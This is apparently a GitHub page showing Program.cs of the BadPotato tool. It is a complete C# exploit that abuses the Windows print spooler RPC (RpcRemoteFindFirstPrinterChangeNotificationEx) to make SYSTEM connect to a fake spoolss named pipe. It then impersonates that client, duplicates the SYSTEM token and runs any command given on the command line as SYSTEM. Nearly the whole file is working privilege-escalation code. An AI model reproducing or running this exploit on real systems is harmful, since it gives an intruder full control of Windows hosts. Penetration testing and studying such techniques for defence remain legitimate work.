-
Notifications
You must be signed in to change notification settings - Fork 137
/
Program.cs
294 lines (276 loc) · 17.8 KB
/
Program.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
using PingCastle.RPC;
using System;
using System.Runtime.ConstrainedExecution;
using System.Runtime.InteropServices;
using System.Security;
using System.Security.Principal;
using System.Text;
using System.Threading;
using static PingCastle.RPC.rprn;
namespace BadPotato
{
class ExecuteRectangle
{
public struct SECURITY_ATTRIBUTES
{
public int nLength;
public IntPtr lpSecurityDescriptor;
public int bInheritHandle;
}
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
static void Main(string[] args)
{
Console.WriteLine(@"[*]
____ ______ __ __
/ __ )____ _____/ / __ \____ / /_____ _/ /_____
/ __ / __ `/ __ / /_/ / __ \/ __/ __ `/ __/ __ \
/ /_/ / /_/ / /_/ / ____/ /_/ / /_/ /_/ / /_/ /_/ /
/_____/\__,_/\__,_/_/ \____/\__/\__,_/\__/\____/
Github:https://github.com/BeichenDream/BadPotato/ By:BeichenDream
");
if (args.Length<1)
{
Console.WriteLine("[!] No Command");
return;
}
SECURITY_ATTRIBUTES securityAttributes = new SECURITY_ATTRIBUTES();
string pipeName = Guid.NewGuid().ToString("N");
Console.WriteLine("[*] PipeName : " + string.Format("\\\\.\\pipe\\{0}\\pipe\\spoolss", pipeName));
Console.WriteLine("[*] ConnectPipeName : " + string.Format("\\\\{0}/pipe/{1}", Environment.MachineName, pipeName));
IntPtr pipeHandle = CreateNamedPipeW(string.Format("\\\\.\\pipe\\{0}\\pipe\\spoolss", pipeName), 0x00000003| 0x40000000, 0x00000000, 10, 2048, 2048, 0, ref securityAttributes);
if (pipeHandle!=IntPtr.Zero)
{
Console.WriteLine(string.Format("[*] {0} Success! IntPtr:{1}", "CreateNamedPipeW",pipeHandle));
rprn rprn = new rprn();
DEVMODE_CONTAINER dEVMODE_CONTAINER = new DEVMODE_CONTAINER();
IntPtr rpcPrinterHandle = IntPtr.Zero;
rprn.RpcOpenPrinter(string.Format("\\\\{0}", Environment.MachineName), out rpcPrinterHandle, null, ref dEVMODE_CONTAINER, 0);
if (rpcPrinterHandle!=IntPtr.Zero)
{
if (rprn.RpcRemoteFindFirstPrinterChangeNotificationEx(rpcPrinterHandle, 0x00000100, 0, string.Format("\\\\{0}/pipe/{1}", Environment.MachineName, pipeName), 0) != -1)
{
Console.WriteLine(string.Format("[*] {0} Success! IntPtr:{1}", "RpcRemoteFindFirstPrinterChangeNotificationEx", rpcPrinterHandle));
Thread thread = new Thread(() => ConnectNamedPipe(pipeHandle, IntPtr.Zero));
thread.Start();
if (thread.Join(5000))
{
Console.WriteLine("[*] ConnectNamePipe Success!");
StringBuilder stringBuilder = new StringBuilder();
GetNamedPipeHandleState(pipeHandle, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, stringBuilder, stringBuilder.Capacity);
Console.WriteLine("[*] CurrentUserName : " + Environment.UserName);
Console.WriteLine("[*] CurrentConnectPipeUserName : " + stringBuilder.ToString());
if (ImpersonateNamedPipeClient(pipeHandle))
{
Console.WriteLine("[*] ImpersonateNamedPipeClient Success!");
IntPtr hSystemToken = IntPtr.Zero;
if (OpenThreadToken(GetCurrentThread(), 983551, false, ref hSystemToken))
{
Console.WriteLine(string.Format("[*] {0} Success! IntPtr:{1}", "OpenThreadToken", hSystemToken));
IntPtr hSystemTokenDup = IntPtr.Zero;
if (DuplicateTokenEx(hSystemToken, 983551, 0, 2, 1, ref hSystemTokenDup))
{
Console.WriteLine(string.Format("[*] {0} Success! IntPtr:{1}", "DuplicateTokenEx", hSystemTokenDup));
if (SetThreadToken(IntPtr.Zero, hSystemToken))
{
Console.WriteLine("[*] SetThreadToken Success!");
Console.WriteLine("[*] CurrentThreadUserName : " + WindowsIdentity.GetCurrent(true).Name);
SECURITY_ATTRIBUTES saAttr = new SECURITY_ATTRIBUTES();
IntPtr out_read = IntPtr.Zero;
IntPtr out_write = IntPtr.Zero;
IntPtr err_read = IntPtr.Zero;
IntPtr err_write = IntPtr.Zero;
saAttr.nLength = Marshal.SizeOf(typeof(SECURITY_ATTRIBUTES));
saAttr.bInheritHandle = 0x1;
saAttr.lpSecurityDescriptor = IntPtr.Zero;
if (CreatePipe(ref out_read, ref out_write, ref saAttr, 0))
{
Console.WriteLine(string.Format("[*] {0} Success! out_read:{1} out_write:{2}", "CreateOutReadPipe", out_read, out_write));
}
else
{
Console.WriteLine("[!] CreateOutReadPipe fail!");
}
if (CreatePipe(ref err_read, ref err_write, ref saAttr, 0))
{
Console.WriteLine(string.Format("[*] {0} Success! err_read:{1} err_write:{2}", "CreateErrReadPipe", err_read, err_write));
}
else
{
Console.WriteLine("[!] CreateErrReadPipe fail!");
}
SetHandleInformation(out_read, 0x00000001, 0);
SetHandleInformation(err_read, 0x00000001, 0);
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
si.cb = Marshal.SizeOf(si);
si.lpDesktop = @"WinSta0\Default";
si.hStdOutput = out_write;
si.hStdError = err_write;
si.dwFlags |= 0x00000100;
string lpApplicationName = Environment.SystemDirectory + "/cmd.exe";
string lpCommandLine = "cmd /c " + args[0];
// bool flag=CreateProcessAsUserW(hSystemTokenDup, null, lpCommandLine, IntPtr.Zero, IntPtr.Zero, false, 0, IntPtr.Zero, Environment.SystemDirectory, ref si, out pi);
if (CreateProcessWithTokenW(hSystemTokenDup, 0, null, lpCommandLine, 0x08000000, IntPtr.Zero, Environment.CurrentDirectory, ref si, out pi))
{
Console.WriteLine(string.Format("[*] {0} Success! ProcessPid:{1}", "CreateProcessWithTokenW", pi.dwProcessId));
CloseHandle(out_write);
CloseHandle(err_write);
byte[] buf = new byte[4098];
int dwRead = 0;
while (ReadFile(out_read, buf, 4098, ref dwRead, IntPtr.Zero))
{
byte[] outBytes = new byte[dwRead];
Array.Copy(buf, outBytes, dwRead);
Console.WriteLine(System.Text.Encoding.Default.GetString(outBytes));
}
while (ReadFile(err_read, buf, 4098, ref dwRead, IntPtr.Zero))
{
byte[] outBytes = new byte[dwRead];
Array.Copy(buf, outBytes, dwRead);
Console.WriteLine(System.Text.Encoding.Default.GetString(outBytes));
}
CloseHandle(err_read);
CloseHandle(out_read);
CloseHandle(out_write);
CloseHandle(err_write);
CloseHandle(hSystemTokenDup);
CloseHandle(hSystemToken);
CloseHandle(rpcPrinterHandle);
CloseHandle(pipeHandle);
Console.WriteLine("[*] Bye!");
}
else
{
Console.WriteLine(new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error()).Message);
Console.WriteLine("[!] CreateProcessWithTokenW fail!");
}
}
else
{
Console.WriteLine(new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error()).Message);
Console.WriteLine("[!] SetThreadToken fail!");
}
}
else
{
Console.WriteLine(new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error()).Message);
Console.WriteLine("[!] DuplicateTokenEx fail!");
}
}
else
{
Console.WriteLine(new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error()).Message);
Console.WriteLine("[!] OpenThreadToken fail!");
}
}
else
{
Console.WriteLine(new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error()).Message);
Console.WriteLine("[!] ImpersonateNamedPipeClient fail!");
}
}
else
{
CloseHandle(rpcPrinterHandle);
CloseHandle(pipeHandle);
Console.WriteLine("[!] ConnectNamePipe Time Out!");
}
}
else
{
Console.WriteLine(new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error()).Message);
Console.WriteLine("[!] RpcRemoteFindFirstPrinterChangeNotificationEx fail!");
}
}
else
{
CloseHandle(pipeHandle);
Console.WriteLine("[!] RpcOpenPrinter fail!");
}
}
else
{
Console.WriteLine(new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error()).Message);
Console.WriteLine("[!] CreateNamedPipeW fail!") ;
}
}
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool SetThreadToken(IntPtr pHandle, IntPtr hToken);
[SecurityCritical]
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
internal static extern bool CloseHandle(IntPtr handle);
[DllImport("kernel32.dll", EntryPoint = "GetCurrentThread", CallingConvention = CallingConvention.Cdecl)]
public static extern IntPtr GetCurrentThread();
[SecurityCritical]
[DllImport("kernel32.dll", BestFitMapping = false, CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateNamedPipeW(string pipeName, int openMode, int pipeMode, int maxInstances, int outBufferSize, int inBufferSize, int defaultTimeout,ref SECURITY_ATTRIBUTES securityAttributes);
[SecurityCritical]
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ConnectNamedPipe(IntPtr handle, IntPtr overlapped);
[SecurityCritical]
[DllImport("kernel32.dll", BestFitMapping = false, CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool GetNamedPipeHandleState(IntPtr hNamedPipe, IntPtr lpState, IntPtr lpCurInstances, IntPtr lpMaxCollectionCount, IntPtr lpCollectDataTimeout, StringBuilder lpUserName, int nMaxUserNameSize);
[SecurityCritical]
[ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)]
[DllImport("advapi32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);
[SecurityCritical]
[ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)]
[DllImport("advapi32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool OpenThreadToken(IntPtr ThreadHandle, long DesiredAccess, bool OpenAsSelf,ref IntPtr TokenHandle);
[SecurityCritical]
[ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)]
[DllImport("advapi32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool DuplicateTokenEx(IntPtr hExistingToken,long dwDesiredAccess,int lpTokenAttributes,int ImpersonationLevel,int TokenType,ref IntPtr phNewToken);
[SecurityCritical]
[ReliabilityContract(Consistency.WillNotCorruptState, Cer.MayFail)]
[DllImport("userenv.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool CreateEnvironmentBlock(ref IntPtr lpEnvironment,IntPtr hToken,bool bInherit);
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool CreateProcessAsUserW(IntPtr hToken, string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes,bool bInheritHandles, int dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool CreatePipe(ref IntPtr hReadPipe,ref IntPtr hWritePipe, ref SECURITY_ATTRIBUTES lpPipeAttributes, Int32 nSize);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetHandleInformation(IntPtr hObject, int dwMask, int dwFlags);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool ReadFile(IntPtr hFile, byte[] lpBuffer, int nNumberOfBytesToRead, ref int lpNumberOfBytesRead, IntPtr lpOverlapped/*IntPtr.Zero*/);
[DllImport("advapi32", SetLastError = true, CharSet = CharSet.Unicode)]
public static extern bool CreateProcessWithTokenW(IntPtr hToken, int dwLogonFlags, string lpApplicationName, string lpCommandLine, int dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
}
}